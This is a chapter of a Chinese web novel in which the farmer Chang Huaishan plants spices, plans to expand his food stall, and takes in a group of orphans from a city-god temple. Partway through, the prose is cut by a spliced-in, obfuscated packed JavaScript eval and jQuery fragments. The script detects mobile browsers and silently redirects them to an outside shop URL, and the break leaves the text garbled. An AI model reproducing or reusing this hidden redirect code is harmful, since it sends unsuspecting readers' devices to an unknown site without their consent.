吴佳香大发雌威骂过一场后,流言似乎停止了,至少没再传入常家人的耳里。
“还是太闲了!”吴佳香嫌弃一句。
春雨一过,家家户户开始春种,恨不得住在地里,谁得空窜门道人长短。
“我是太忙了!”常怀山埋头接话。他在用所识不多的字,在写只有他看得懂的计划。
小食摊要摆,地也要种,可是人手又不够了。他招了三个短工,点豆子种高粱的活简单,地是犁过的,肥是施好的,只要刨坑埋土就行,三十亩地几天就能种完。
但宝贝女儿非为难他,说黄豆、高粱在粮铺好买,让他种黑豆、红豆、绿豆、豌豆。也行,都是一样的种法。让他种黑芝麻、白芝麻,可以,家里种过。
可是辣椒、花椒要咋种?
常茸:“我不造啊。”
常怀山苦恼地抓脑袋,他们本地不种这两样东西,他想问人都找不到问处。
常茸没种过地,但她知道花椒是“树”,辣椒是“菜”,根据属性来应该错不了。
“种岔了别怪我,那么贵的东西你几斤几斤地买……”常怀山道。
以前穷,现在不是宽裕了嘛,辣椒炒菜也可以试试了。常茸斥巨资——从吴佳香手里要的,买了两斤花椒、五斤辣椒,取出种子后,花椒、辣椒给李木杵粉,种子给常怀山种。
常怀山因此被难住了。
此时,他大儿子还问他要半亩地试种麦冬。
“行了行了,都依你们!”他烦躁地丢下笔,纸上只有他看得懂的几个鬼画符。
他拿着装辣椒种子的葫芦,想像白菜种子似的撒下去,但想想辣椒的价格,他又慎重地把土疙瘩锤细,像种麦子一样锄了浅浅的沟来,稀稀拉拉地撒种,再薄薄地盖上细土,又让短工挑来几担水浇上。
尽力于此,这都长不出来的话,他就无法了。
可不能让种辣椒阻碍他的计划——写不出来,但存在脑子里的计划。
他要租铺面!
一场雨,让他意识到露天摆摊不保险。平常就算了,要有个刮风下雨的,客人即使愿意出门,但绝不愿坐在外面吃东西。太阳大的时候,人家也想有屋檐挡着,舒舒服服地用饭。
为了以后考虑,租铺子势在必行。
他要买人!
九个下人不少吧,分到各处就不够用了,当时买李大头一家的初衷是让他们种地,现在可好,又请了短工。如果有更多人手,他可以再加三个小食摊,家里、地里的活都有人干。
他要建房!
人一多房子就不够住了,李大头一家五口睡一间——李燕倒是被冬月领进她们屋了,可是再买人住哪里呢?二庸结婚,最好把人接进新房里。还有自己,他去年就想住进砖房的……
常怀山心里憋了大计划,谁都没说,把辣椒、花椒种好,在摆摊之余,去寻上次帮他租到摊子的那家牙行了,店铺、下人他都让人留意。
出了牙行,他没回摊位,又摸到诚信镖局,问人家有没有像上次一样来自关外的愿意自卖自身的流民。
负责这一块的王管事遗憾地表示他来晚了:“也是一家子种地的,正赶上春耕,五天前被人买走啦!”
常怀山顿时痛心疾首地捂住胸口。
“常兄弟买了多少田啊,上次的几口人不够用吗?”王管事请他坐下,倒上茶水招呼。
常怀山喝口茶压压惊:“地没买,就是做了点吃食小买卖,人手不够。”他顺便打了个广告,“摊子叫常记小食,王兄有空来尝尝,炸汤圆很受欢迎的。”
王管事没听过“常记小食”,倒是对“炸汤圆”有所耳闻,客气地表示有机会去尝尝。
“常兄弟如果只是单纯找人做杂活跑腿,不要求手艺的话,我倒是有处地方引荐于你。”
常怀山闻言放下茶,坐直了身子:“还请王兄告知。”
“楮城东门出去,往济县方向有个城隍庙,我前不久路过时,见庙里住了几个孩子,五六岁到十五六岁都有,你去问问,里面肯定有愿意自卖自身的。”王管事以手蘸茶,在桌上画了个弯弯曲曲的简易地图。
常怀山吓得连连摆手:“那些孩子坑蒙拐骗偷抢样样精通,我没本事把他们引上正途,多谢王兄的好意。小弟这就回了,如果有合适的,劳烦你差个人去城东张家巷口常记小食寻我。”说着,就要告辞离开。
“瞧把你吓的!”王管事笑着,一句话成功留住人,“咱俩的交情,我会给你引荐一群小贼?那不是结仇嘛。”
常怀山又坐回原位,语言恳切:“是我狭隘胡乱猜测,还请王兄告知详情。”实在是他被偷过一次荷包,里面装的有二两银子,把他偷怕了。
王管事表示不在意,又给他续上茶,说道:“我半月前路过那个城隍庙,听到里面传来哭声,好奇驱使,前去查看……”
原来是一个老道士死了,一群孩子围着他的尸体在哭丧。见有人进来庙里,几个孩子齐刷刷跪下,求路人施舍点银子薄葬死者。
路人可怜他们,丢下几文钱就走了,王管事看他们泪眼婆娑的,心肠一软,但他不是烂好人,就问他们来历。
“原来,他们都是老道士多年来收养的孤儿,前阵子他们住的道观坍塌,压死两个孩子,老道士为了抢救孩子也被砸伤了胸口。加之官府听说道观塌了,就派人把那里占为义冢,把他们撵走。”
老道拖着病体带孩子们来楮城谋求生路,不想在半路就一命呜呼了,他们哭了两天才遇到王管事。王管事没有烂发慈心,只是买下看起来最壮硕的两个少年充盈镖局。
俩人拿着卖身银子给老道买了一副薄棺、几打老纸,将他安葬在城隍庙附近,剩下的钱给弟弟妹妹买了粮食被褥,眼泪一抹进了镖局。
“我们会发月钱,但那点银钱不够十几个孩子花用的,唯一的活路就是给自己找个好买家。”王管事叹息道,“别人卖身我是要向他收介绍费的,这些孩子我就不收他们的了。”
“我这里还有事要忙,城隍庙好找得很,常兄弟自己去看,合适的话,大的小的都领回去,就当做善事,几个毛孩子养几年也就能使唤了。”
常怀山取了寄存的牛车,叫上李大头,二人驾车出了东门往王管事指引的方向走,果然找到那个城隍庙。
门口坐着两个七八岁的男孩子,警惕地看向来人,听说他是王管事介绍的后,大声叫来哥哥。
里面很快出来一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17648827|203678||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
个半大小子,少年一见他就问:“你是来买下我们的吗?”端的一副破锣嗓子。
常怀山:“是的……”
他话还没说完,少年就一下子跪在地上,给他磕头,嘴里称“老爷”,他身后涌出一堆孩子,齐刷刷地跪在地上,山呼:“老爷!!!”
常怀山被声浪震得后退几步,要不是李大头拉住,好险绊一跟斗。他知道为什么王管事不跟他一起过来了,有事要忙是借口,怕被他揍才是重点。
只见一群孩子里面,变声少年最大,三四个十来岁的,剩下的九个全是小孩子,光屁股的、光脚丫的不一而足,满身污垢、瘦骨嶙峋。
“我不是,我只是路过的。”常怀山反拉着李大头转身就撤,他是来买能干活的下人的,不是做慈善的。原本以为的五六岁到十五六岁是均衡分布,谁料到是这种情况!
守大门的两个孩子见状,飞奔上来抱住他的腿:“老爷你就收下我们吧!”
又几个小孩有样学样地缠过来,李大头也被抱住:“我吃得很少的!”
锣声少年扯着嗓子喊:“有名哥,你快出来,人要跑了!”
很快,从后面跑来一个比锣声少年高一点的瘦猴子,二话不说就是下跪:“老爷你把我们买回去吧,我们还有两个大一点的哥哥在城里帮工,不是全部是小孩子,我们都能干活的!”
常怀山迟疑一下:“我只想买大孩子。”
叫有名的少年熟练道:“我们只接受买一个大孩子带一个小孩子,小孩子不要钱……”
于是,这天常家人像往常一样收摊回家时,看到家里凭空出现“一堆”陌生泥猴子时,都是懵的。
“耶耶,你这是捅了孩子窝?”常鹅率先打破平静。
“小孩子你都敢买,多少钱?”吴佳香回过神来,咬牙切齿地问。她现在手痒想掐人。
常怀山赶紧保命:“不要钱!”
“啥不要钱,你去偷人家孩子啦?”那些孩子一副风吹即倒的肮脏样,看起来不像。
常怀山就把事情经过讲述一遍:“我答应把小的几个一起带着,所以没花一个钱。”
“养孩子不花钱啊!”看这一个个的,才从厕所里光身子出来的小毛孩是罗圈腿,有个姑娘是大脖子,大脖子抱着的那个是三瓣嘴,还有一个瘸子、一个哑巴一个瞎子、两个驼背,全是歪瓜裂枣。
“七八岁往上的都能做事了,而且有六个是十岁以上的。”常怀山不服气地反驳,他越想越觉得划算。就是进城的时候,被当流民拦住不准进的事,他没说。
“我带他们去衙门登记造册,又想到你上次提的问题,把衣服被子都买齐了,人也洗过澡剪过发了。”说到这里,常怀山想到什么,兴奋道,“你猜咋的,这些孩子都姓常,我一听就跟咱家有缘,给他们办契书的时候,除了两个没名字的,其他人就没改名!”
吴佳香:“……是有缘分。”人都带来了,契书也办了,她能赶走不成。
孩子堆里,常恒名、常无名、常有名三人:就不要告诉夫人,咱们师父姓常了吧?
他们仨对视一眼,聪明地没有提出来。
“可是,那么多人住哪里啊?”吴佳香抓瞎了。